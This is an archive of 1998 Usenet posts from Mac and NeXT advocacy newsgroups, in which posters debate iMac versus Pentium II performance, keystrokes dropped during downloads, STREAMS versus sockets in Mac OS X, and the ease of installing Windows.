References: <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net> <peter.perlsoe-1308981933290001@192.168.1.1>
Organization: Close to None
In article <peter.perlsoe-1308981933290001@192.168.1.1>,
peter.perlsoe@ngg.dk (Peter Bjørn Perlsø) wrote:
> In article <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > NOT! A g3 233 is about as fast as a p2 300 (actually probably a smidgeon
> > slower). But a imac is not a g3 233. Is the imac faster than a g3 233?
> > Nope. Look at http://www.macintouch.com/imacreview.html
> > In macbench, a imac gets 760, and a g3 233 gets 785.
> >
> > Then their is real world apps. Photoshop gives the mac about the most
> > favorable light. Quake shows the p2 to be faster than what photoshop
> > shows, word and excel also are more favorable to the p2. And photoshop
> > shows a g3 266 to be about %7 faster than a p2 300, and shows a p2 300 to
> > be about %6 faster than a g3 233 (from rabid joe's web page).
> > If you take Apple's internal engineers word for it (and you should, They
> > seemed to do a honest performace, using 15 adobe filters) a g3 266 is
> > about %30 faster than a p2 266 using photoshop. I assume a g3 233 would
> > also be about %30 faster than a p2 233, meaning its probably about the
> > same speed as something between a p2 266 and a p2 300. And of course
> > imac is slower than a g3 233, so while a g3 233 would be closer to a p2
> > 300 than a p2 266, the imac would be closer to a p2 266 than the g3 233
> > would be.
>
> Currently, it's hard to compare a P2 running windows to a G3 running
> MacOS. It would certainly be more fair to just compare to Mac's to each
> other - not to a PC.
>
> Remember that the Mac OS is still suffering under the stress of emulated
> code. Mac OS 8.5 will help, also with accelerated QuickDraw code, which
> will make games such as Quake run faster.
>
> Then you can compare all you want.
Linux-to-Linux comparisons ought to be more useful...
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 21:49:45 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1308982149450001@sdn-ar-002casbarp093.dialsprint.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <WadeMasshardt-1308981918060001@192.168.0.2>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <WadeMasshardt-1308981918060001@192.168.0.2>,
WadeMasshardt@badger.alumni.wisc.edu (Wade Masshardt) wrote:
> I am
> thinking we need more info on your setup. For instance, what software are
> you using to connect to the net? What modem? What is your disk cache set
> to? VM on or off?
Ok. I am using ot ppp. A global village 56 k x2. My disk cache is set
to 4 megs. Vm is off. I had three apps open, mt newswatcher was
downloading binaries, ot /ppp may of been open, and I was trying to write
a email in claris emailer 2.0
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 21:44:49 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1308982144490001@sdn-ar-002casbarp093.dialsprint.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com> <alex-1308981723560001@castle.webis.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <alex-1308981723560001@castle.webis.net>, alex@webis.net (Alex
Kac) wrote:
> I'm not trying to be an ass here, but can you tell me what apps you are
> using to download? I'm running a G3/266 here and I usually download 4-5
> files through MIE, and are uploading tons of files through FTP. These are
> quite large files...and they are usually downloading/uploading at the same
> time.
>
> I have NEVER gotten lost characters like that. Now I'm using ethernet over
> ISDN to get my transfers.
I was downloading with mt newswatcher. Downloading mp3's, yeah thats the
ticket :) Really annoyed me :(
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: wizard@technologist.com (Ron Bischof)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Message-ID: <wizard-1408980010590001@we-24-130-8-241.we.mediaone.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <35d89f8a.4951056@news.newsguy.com>
Organization: Bischof Consulting Services
x@@?^YzMw.zK>vsmpypi8oc_$
Date: Fri, 14 Aug 1998 00:10:59 -0700
NNTP-Posting-Date: Fri, 14 Aug 1998 00:10:58 PDT
In article <35d89f8a.4951056@news.newsguy.com>, telam@iquest.net (Tom
Elam) wrote:
> Very interesting. Just for testing purposes I am FETching a copy of
> Communicator from the Netscape site as I write this on my puny P150 laptop.
> It's coming over the wire at 2,850 bps actual transfer speed, maxed out for my
> 28.8 connection. No skipped characters here. In fact, I can't tell anything
> else is going on other than my email program running. OK, now in addition I
> just asked the news reader to download the newest 1000 headers in
> alt.windows95. It's also doing that at the same time, starting now......still
> no effect on the keyboard, not even a lag due to buffered keystrokes.....
>
> It's called PMT, and it works. Someday maybe Apples will have it too.
>
>
> ---------------------------------------------
> Tom Elam
One look at this page http://members.iquest.net/~telam/macintos.htm clues
anyone in as to what you're about and discredits you.
Back in your hole, troll.
--
______________________________
Ron Bischof, Bischof Consulting Services
email: wizard@technologist.com
http://people.we.mediaone.net/bconsvcs
From: Explosion@end.of.sun.com (Goin Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: Fri, 14 Aug 1998 00:35:46 -0800
Organization: Flames -r- Us
Message-ID: <Explosion-1408980035470001@ppp-206-170-4-215.wnck11.pacbell.net>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net> <billa-1008981717310001@archbald-33.slip.uiuc.edu> <NeedALight?-1008981547070001@166.oakland-01.ca.dial-access.att.net> <6qnuc3$5m2@fridge.shore.net> <NeedALight?-1008982232550001@145.oakland-01.ca.dial-access.att.net>
Mail-Copies-To: never
In article <NeedALight?-1008982232550001@145.oakland-01.ca.dial-access.att.net>, NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
>In article <6qnuc3$5m2@fridge.shore.net>, "Thomas Long" <pcmacguy@mailexcite.com> wrote:
>
>> The CompUSA I deal with for a school system claims something close to 200
>> iMAC pre-orders as of Friday. There are concerns that the full 200 will not
>> be recieved by the 15th. I've been told that sharp pricing on current G3's
>> have switched a few people to the standard MAC line of computers. I'd bet
>> that if production delays on the iMAC occur there will be some switching to
>> other models rather than deposit refunds. The salesperson gave out this
>> information very unofficially.
>>
>
>I can see a problem with that approach, too. With the current G3 well running "dry", so to speak (and there's plenty of web pages reporting it), that may not be viable for long. Of course, it could be Jobs just dicking with us...
Today's MacIntouch bears numbers for the 8/15 delivery. Now I'm positive Jobs is dicking with us. On the sunny side of things, Apple Recon's picture is much rosier. Too bad Ragosta doesn't read 'em any more.
I also read somewhere (news.com?) Intel can't produce enough P II's. Should be cause for Mac advocates to dance in the streets.
--
We have got far too many hung juries and not enough hung defendants.
And you know something, I know why we do this. We do this because it
allows us to fancy ourselves as more evolved, more sensitive, more
civilized than the perpetrators and I think that's a dangerous
deviation from one of the core tenets of human existence, which is
self preservation.
-Dennis Miller, Citizen Arcane
From: cmh@alycia.dementia.org (Chris Hanson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac Menu (Was Mac OS X UI)
Date: 13 Aug 1998 16:43:40 -0400
Organization: Dementia Unlimited, Pittsburgh PA
Message-ID: <ct83eb07gua.fsf@alycia.dementia.org>
References: <6qkeot$83$1@sibyl.sunrise.ch>
In-reply-to: marmier4@hei.unige.ch's message of 9 Aug 1998 15:21:01 GMT
In article <6qkeot$83$1@sibyl.sunrise.ch> marmier4@hei.unige.ch writes:
Having used both interface over time, I cleary vote against
the Mac UI behaviour. There's no argument it was very
appropriate for a single-task system with more or less fixed
screen size. But IMHO, some
The Macintosh human interface was originally developed for a
multitasking machine with a larger screen than the original Macintosh.
After all, even in 1984 Apple was calling it "Lisa Technology."
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Does SJ just repeat his "success pattern"? I'd like that!
Date: 13 Aug 98 16:34:49
Organization: Is a sign of weakness
Distribution: world
Message-ID: <SCOTT.98Aug13163449@slave.doubleu.com>
References: <6qv9gm$d47@btmpjg.god.bel.alcatel.be>
In-reply-to: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de's message of 13 Aug 1998 17:58:46 GMT
In article <6qv9gm$d47@btmpjg.god.bel.alcatel.be> (Ralf Suckow) writes:
It seems to me that some (most?) successful entrepreneurs do have
their personal pattern of success, which they simply do repeat
again and again. Bill Gates is a popular example.
Without going into deep analysis, I've got the feeling that the
iMac follows the same pattern as the AppleII and the 1984 Mac. Is
this the personal SJ pattern of success?
It would be unfortunate if this means that we ("we"=="other people
hoping to make money off the market") have to wait four or five years
for the honey to start flowing (only to have it shut off a couple
years later :-).
I do think that if they can sell enough iMacs, and there aren't any
major problems, they can settle into a very nice groove with the
entire idea. Next year, they should be able to sell a $1000 unit with
50% more power/space, the next year $850, the next year $700.
Assuming that the initial batch can maintain usability for three
years, I think $700 is a realistic price for an upgrade (given what a
computer can do compared to, say, a television or VCR, it deserves to
cost twice as much).
People get down on the iMac because it doesn't have serial ports or a
floppy drive - but, from certain viewpoints that's an advantage. You
can already buy nice cheap computers with serial ports and floppy
drives. Those computers are very hard to compete with on their own
turf. So Apple's standing off to the side and trying to lure some of
the lurkers onto a new piece of turf...
Besides, _if_ they manage to make a go of it, then all your little USB
peripherals will be compatible with your next machine. So at that
time you won't need a new floppy, printer, zip, camera, VCR,
microwave, dishwasher or toaster. You'll just pull the USB plug from
one unit and insert it into the other...
Do you think I should buy an iMac? My fastest computer at home
currently is a Nintendo 64.
_Everybody_ should buy an iMac! If you can, buy two! How else will
Apple succeed?
Of course, if you have _specific_ functionality needs, that might
affect my advice. I'd guess that with a video game console in the
house, you're not looking at it as a game machine?
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 13 Aug 98 09:38:54
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug13093854@slave.doubleu.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com>
<Ex9uJH.ry@T-FCN.Net> <SCOTT.98Aug7113105@slave.doubleu.com>
<35D30D17.B1021347@prim.demon.co.uk>
In-reply-to: David Griffiths's message of Thu, 13 Aug 1998 16:58:15 +0100
In article <35D30D17.B1021347@prim.demon.co.uk>,
David Griffiths <dave@prim.demon.co.uk> writes:
Scott Hess wrote:
> So Apple has also hired the OSF people that implemented STREAMS
> in the Mk7.3 kernel? Or are they using the same engineers from
> NeXT which have spend most of their time with the BSD4.3 and 4.4
> stuff?
I worked on a project where we merged STREAMS with BSD sockets.
Just three or four of us with no prior experience working for a
tiny company. A little messy, but not exactly rocket science.
Shouldn't be a problem for Apple's kernel hackers.
How many copies did you ship? Four or ten million? On a number of
different platforms, too, I'll bet, and to novice users. And running
web servers getting a million hits a day, from 40 different
implementations of TCP/IP?
Ye gods, I feel like I'm just standing in an empty field beating on a
frying pan with a wooden spoon. We aren't talking some demo program,
here, with little care about whether it works. This isn't something
to hand to Bob The Contractor and integrate in just before shipping.
If the TCP stack shipped with MacOS X has _any_ problems, Apple will
be vilified in the mainstream press and on USENET. They've got a
load of hard work in front of them, and spending brain sweat on
something which _really_ makes no difference isn't going to help them
finish any faster.
STREAMS vs sockets is only remotely a debate when you have geeks like
us involved. The mainstream computer user would tune it out faster
than you can say "TCP". THE MAINSTREAM COMPUTER USER BUYS WINDOWS!
Even if STREAMS _is_ implemented, and _is_ bug free, and rips sockets
to shreds like a wet tissue, there will only be perhaps 100 people in
the world who could even begin to describe why this is a good thing,
and most of those people won't be using MacOS X anyhow.
I've no doubt this is like the 1500th item on Apple's priority list.
I think deferring the entire debate is a completely justifiable
decision on Apple's part,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: sneakpeek@talkway.com
Subject: SneakPeek summary for comp.sys.next.advocacy for 8/14/1998
Newsgroups: comp.sys.next.advocacy
Message-ID: <anVA1.5199$0T.1009109@c01read01.service.talkway.com>
Date: Fri, 14 Aug 1998 11:40:54 GMT
NNTP-Posting-Date: Fri, 14 Aug 1998 04:40:54 PDT
This message summarizes the most popular threads in this newsgroup.
________________________________________________________________________
SUBJECT: A flame of the ma
*** Steve Sullivan:
Right nowI am downloading while I write this. I am prposefully not
editing the errors, the ones that are the focus of this flame at least
(including the last word in the subject, add a "c". Thes errors you see
...
*** Wade Masshardt:
...
I have 210 MHz 604e box hooked to an Intel/Linux box via 10mbps ethernet
and to the internet via a 33.6 modem on the modem port. I've had occasion
recently to be transfering about 800 megs worth of mp3 files from the Mac
*** Steve Sullivan:
...
Ok. I am using ot ppp. A global village 56 k x2. My disk cache is set
to 4 megs. Vm is off. I had three apps open, mt newswatcher was
downloading binaries, ot /ppp may of been open, and I was trying to write
________________________________________________________________________
SUBJECT: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
*** Alexandre A. S.:
...
No, you idiot. You can't compare Windoze to MacOS. You install
Windoze, and it has at least a million different variations of a possible
PC configuration (sound card, video card, etc etc), while Macs have just a
*** quinlan:
...
That wasn't called for. You should apologize to Scott.
...
OK, I want a good video card for my Mac. Name one that is as good as my PC's
(six month old?) Velocity 128. I also want a good sound card for my Mac. Name
*** Hath:
...
nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
CD-quality sound is built in. Ever since the MAC II.
of course if you want General MIDI synth as well then you need a card,
...
________________________________________________________________________
SUBJECT: Re: NEXTstep/Openstep for the Mac
*** Daniel Boehringer:
...
NeXT webster is IXKit based.
have a look at
ftp://ftp.peanuts.org/peanuts/./NEXTSTEP/unix/text/Webster.a5.s.tar.gz
...
*** Nathan Urban:
...
Hmm. I doubt that's going to make it across to Rhapsody any time soon.
Would it be in violation of license to write some sort of converter (under
NEXTSTEP, using IXKit) to convert the data files to some other indexed
*** Jonathan W Hendry:
...
It would be easier to just use raw dictionary content from www.dict.org.
- Jon
________________________________________________________________________
SUBJECT: Re: Solution to Imac SUCKS for games
*** raharlan:
I've enjoyed following this thread, and I see valid points (on all sides)
throughout.
I agree that the iMac is designed as an "entry-level" internet computer, which
...
*** Matthew Vaughan:
...
The best way I can think to describe it is: software mode is faded and
dull looking, like a mural in concrete. Now throw water on it, and you get
deeper darks, richer colors, and shinier brights, and that's what 3Dfx is
...
*** Michael Peck:
...
Quake 3 will not support software renderers. A number of developers have
indicated that this is the direction that they, too, are moving. The
next six months will probably flush out the bulk of all 3D software that
________________________________________________________________________
SUBJECT: Imac faster than p2 400!!!!!!!
*** Steve Sullivan:
NOT! A g3 233 is about as fast as a p2 300 (actually probably a smidgeon
slower). But a imac is not a g3 233. Is the imac faster than a g3 233?
Nope. Look at http://www.macintouch.com/imacreview.html
...
*** Peter Bjørn Perlsø:
...
Currently, it's hard to compare a P2 running windows to a G3 running
MacOS. It would certainly be more fair to just compare to Mac's to each
other - not to a PC.
...
*** Steve Hix:
...
Linux-to-Linux comparisons ought to be more useful...
________________________________________________________________________
Talkway, Inc.
http://www.talkway.com
Date: Fri, 14 Aug 1998 07:57:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Message-ID: <joe.ragosta-1408980757120001@wil57.dol.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <35d89f8a.4951056@news.newsguy.com> <wizard-1408980010590001@we-24-130-8-241.we.mediaone.net>
In article <wizard-1408980010590001@we-24-130-8-241.we.mediaone.net>,
wizard@technologist.com (Ron Bischof) wrote:
> In article <35d89f8a.4951056@news.newsguy.com>, telam@iquest.net (Tom
> Elam) wrote:
>
> > Very interesting. Just for testing purposes I am FETching a copy of
> > Communicator from the Netscape site as I write this on my puny P150 laptop.
> > It's coming over the wire at 2,850 bps actual transfer speed, maxed
out for my
> > 28.8 connection. No skipped characters here. In fact, I can't tell
anything
> > else is going on other than my email program running. OK, now in addition I
> > just asked the news reader to download the newest 1000 headers in
> > alt.windows95. It's also doing that at the same time, starting
now......still
> > no effect on the keyboard, not even a lag due to buffered keystrokes.....
> >
> > It's called PMT, and it works. Someday maybe Apples will have it too.
> >
> >
> > ---------------------------------------------
> > Tom Elam
>
> One look at this page http://members.iquest.net/~telam/macintos.htm clues
> anyone in as to what you're about and discredits you.
>
> Back in your hole, troll.
I just looked at his page. Incredibly juvenile.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: 14 Aug 1998 13:42:38 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6r1ese$nnf$1@supernews.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com>
jmcn@msg.ti.com (Jason McNorton) wrote:
> This is the EXACT phenomenon that I described with characters getting
lost when downloading. Ragosta blasted me for it, but I can't IMAGINE how
he's avoided seeing this on Macs. It's happened on every single one I've
seen.
It's to bad that Ragosta blasted you for it and did not explain it to you,
but let me give it a shot.
This really is not a download problem. When you request to download a file,
let's name it file1, to your machine, which we will call machine1, Machine1
sends a message that says "hey machine 2 I want your file", this request is
put into a "packet" and sent to machine 2.
Every packet has a header, and in that header is the sending address and
the receiving address, any response made by machine two, looks at that
header information and intuitively knows where to send any information
back.
When you request a download of file1, machine 2, says ok.. lets send it to
machine1. In the transmission processes, it breaks file1 into many
packets, each containing the header with the addressing info, but also
other information such as, I am packet 25 of 1256. So it can reorder the
packets into a file when it gets back to machine1.
All of the packets re-assemble on your machine... and for your machine to
recognize it as a good download all need to be present... if one packet is
missing, your machine will say hey this is a bad download, and you get a
failed message.
I think more information has to be known specifically about your machine..
but it sounds as if you are having a memory, buffer, and/or read/write
problem? I do not really have enough knowledge about the actually movement
of data once it hits a machine, but it sounds as if that is where your
problem really exists.
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 07:20:09 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu>
In article
<Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu>,
Patrick <patrick@howard.genetics.utah.edu> wrote:
> On Wed, 12 Aug 1998, George Graves wrote:
>
> > > Give me a break. I have installed, multiple times, from scratch, on BOTH
> > > Macs and PCs. I have done so on the PC with OS/2, Win95, and RedHat
> > > Linux. Installing Win95 on a PC was NO more difficult than installing
> > > MacOS on my daughters Performa. There was NO problems, in ANY case, on
> > > the PC as compared to the Mac. I pointed, clicked, and left it alone
> [...]
> > > That is MY PERSONAL experience. Not heresay, not rumor. I have done it
> > > many times on BOTH.
>
> > OK, how many of those "many times" that you have installed Windows have you
> > had to make a boot floppy which recognized your CD-ROM drive? With the Mac,
> > you NEVER have to do that!. How many times have you had to cast
endlessly about
>
> I have never had to do that. With OS/2, the install diskettes see the
> CDROM and that's that. Making a boot floppy is not a problem. With
> Win95, I simply do not know - haven't done it and haven't had to do it.
That's my point. If one has the resources and the knowledge of DOS, its not
difficult, but without those resources or that knowledge, its damn neigh
impossible. But the question is: "should the average user HAVE to be a computer
geek just to install a system on a PC?" The short answer is no, he shouldn't
have to be that knowledgeable, but in reality he does. This is MS' fault
>
> As for booting from a CDROM, I can do that and have, for a linux
> install. I simply selected "CDROM, C:, A:" in my bios setup. The system
> looks for a bootable CD, etc. I did that because I didn't have a linux
> boot floppy, wasn't yet sure how to make such things (as a newbie to
> linux), and selected the easiest apparent means...boot from CD.
Yes, I know. My Caldera distribution works the same way. Why doesn't
Windows?
>
> > Sure. If you have the right boot floppy for your machine, and if you have
> > all the
> > latest drivers for everything already, MAYBE, just MAYBE, it will be
almost as
> > simple as installing a new system on a systemless Mac (but not quite. Macs
> > still have fewer steps). In an ideal world many things are simple. But the
> > world,
> > especially the world of computers, is far from perfect, and the PC with its
> > DOS setup, its myriad of hardware and software drivers, its hardware
> > conflicts (even if everything is PNP) is a crap shoot at best. A crap
shoot,
> > that obviously, so far, you have been lucky at.
>
> All that stems from the fact that consumers have many more choices
> available to them for the PC and its periphs. That is not a bad thing.
This is the same old PCer apology and it doesn't wash. If there were a
million peripherals for the Mac, they'd all work because the system is
DESIGNED that way, and Mac peripherals HAVE to be designed to the Mac
specs. Saying that PC peripherals can't be designed properly because there
are too many of them doesn't make any sense. What does quantity have to
do with operability and compatibility specs? You write one and the makers
who wish to play in your market follow that spec.
> Competition and choice are ALWAYS a good thing. If you choose a cheap
> off-brandname modem, then MAYBE it wont work right off, though most
> modems should support basic Hayes commands and setup strings.
That's all nonesense. There are specs for this stuff. MS has the power to
force manufacturers to follow them. It doesn't cost any more to do it
right you know. MS' problem is that they let the OS deal with the symptoms
rather than the disease. Macs on the other hand, deal with PREVENTING
conflicts of this sort by writing specs that peripheral makers MUST follow.
It works.
If you buy
> the very latest video card or other addon, then you may have to go the
> manufacturer website to download the appropriate driver...it takes some
> time to incorporate a brand-spanking-new driver into a consumer CD, afterall.
> If you buy a proper soundcard, it will automatically be soundblaster
> compatible and will work. If not, if you run into problems, then I guess
> you learned and may not make a mistake and buy that brand
> again...competition works. Or, you may not mind the little extra work it
> takes (getting to understand something about how a computer actually
> works in the process) to get the periph to work considering the money you
> saved by buying the offbrand hardware.
Fooey!
>
> There are advantages to having, essentially, a single hardware supplier
> (Apple) for your computer, but then there is inherent evil as well:
> anti-competition, no choice, more expensive due to no competiton, slower
> innovation due to no competition. You choose your tradeoff.
How many times do you people have to be told that almost ALL peripheral
hardware for Macs is made by third parties COMPETEING with one another?
Apple makes almost no peripheral hardware these days.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 07:24:35 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1408980724360001@sf-usr1-53-181.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3> <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net> <paul_lucente-ya02408000R1308981433530001@merck.com>
In article <paul_lucente-ya02408000R1308981433530001@merck.com>,
paul_lucente@merck.com (Paul Lucente) wrote:
> In article <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <id_est-1308981118340001@192.168.1.3>, id_est@interport.net
> > (tse_di) wrote:
>
> > > Actually the difference is that most hardware on a mac will work with the
> > > generic drivers but it will work less that optimally.
> >
> >
> > This is complete bullshit.
>
> How is this complete bullshit? He gave a perfect example, which you
> snipped, in which he said a trackball will still work without its drivers
> installed, but will not have complete functionality, for example, use of
> the other buttons, which is true.
>
> Please explain how the statement he made is complete bullshit, I don't
> think it is.
Sorry, I misunderstood what he was saying. Its his choice of words. He
means that without the proper drivers, some features on some peripherals
will be disabled. This is correct. I took the term "less optimally" to mean
that performance will suffer. That was what I was responding to. Again,
If I offended anyone, I apologize.
George Graves
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 14 Aug 1998 14:43:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6r1if7$qrb@newsb.netnews.att.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Originator: gupta@tlctest
Matt Kennel <replace this with '@'> wrote:
>Well, Jobs actually tried to make a go at it. It doesn't work.
>
>The illusion of a vast fertile market for alternate operating systems
>to Windows is tempting, but, in fact, barren for commercial companies.
>
>I too believed in this fantasy for a while, as did many others.
>
>Reality bites. :-(
This may change in the near-term future. It all depends on how
good NT 5.0's 30+ million lines of code turns out to be.
If it is as buggy as I expect, then people are stuck with NT 4.0
for the next 2-3 years (e.g., see Gartner Group's predictions on
when a useable NT 5.0 will emerge). How many service packs for 4.0
do you think Microsoft will release in that time ? Windows 98 has
no real future either. Like the current MacOS, the underpinnings are
too shaky to carry forward to the future.
Of course, the opportunity may turn out to be an illusion.
What Apple or any other competitor has to do is to have everything
lined up -- OS and applications and hardware -- and be prepared.
-arun gupta
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Fri, 14 Aug 1998 09:48:15 -0500
Organization: Texas Instruments
Message-ID: <MPG.103e0a1e8fb509fe989791@news.itg.ti.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com> <6r1ese$nnf$1@supernews.com>
In article Kari L Beischer, kari@gti.net says...
> jmcn@msg.ti.com (Jason McNorton) wrote:
>
> > This is the EXACT phenomenon that I described with characters getting
> lost when downloading. Ragosta blasted me for it, but I can't IMAGINE how
> he's avoided seeing this on Macs. It's happened on every single one I've
> seen.
>
> It's to bad that Ragosta blasted you for it and did not explain it to you,
> but let me give it a shot.
>
> This really is not a download problem. When you request to download a file,
> let's name it file1, to your machine, which we will call machine1, Machine1
> sends a message that says "hey machine 2 I want your file", this request is
> put into a "packet" and sent to machine 2.
<snip explanation>
I really do appreciate that help, but it's not what either of us were
doing. I can understand that happening if you're typing to a telnet
client, and characters get lost. But typing in a local newsreader (just
a text editor until it sends) and MacIRC (also a text editor, not sending
data to the server until you press enter) should not have the problem you
described. I've seen this happen on a Mac Classic II, Mac IIci, and a
8500/120 with 32 megs of RAM.
I have never considered this a bandwidth problem or a communications
problem because I'm not really using the network connection at all for
what I'm doing (It's running in the background during the page
reloads/downloading though, and when I hit ENTER at the end of the IRC
line). It's more of a problem with the keyboard strokes simply getting
lost inside the Operating System. I've seen this on a 386 20mhz with a
very old version of Windows, the OS simply couldn't keep up. This also
happened on that 8500/120. I'm sure a G3 is fast enough to handle my
typing (I'm not THAT fast :), but still.. It's a bad sign for an OS to
be so sloppy like that.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
Content-Type: text/plain; charset=us-ascii
Message-ID: <ExorxB.4nx@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: scott@nospam.doubleu.com
Organization: none
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com>
<Ex9uJH.ry@T-FCN.Net> <SCOTT.98Aug7113105@slave.doubleu.com>
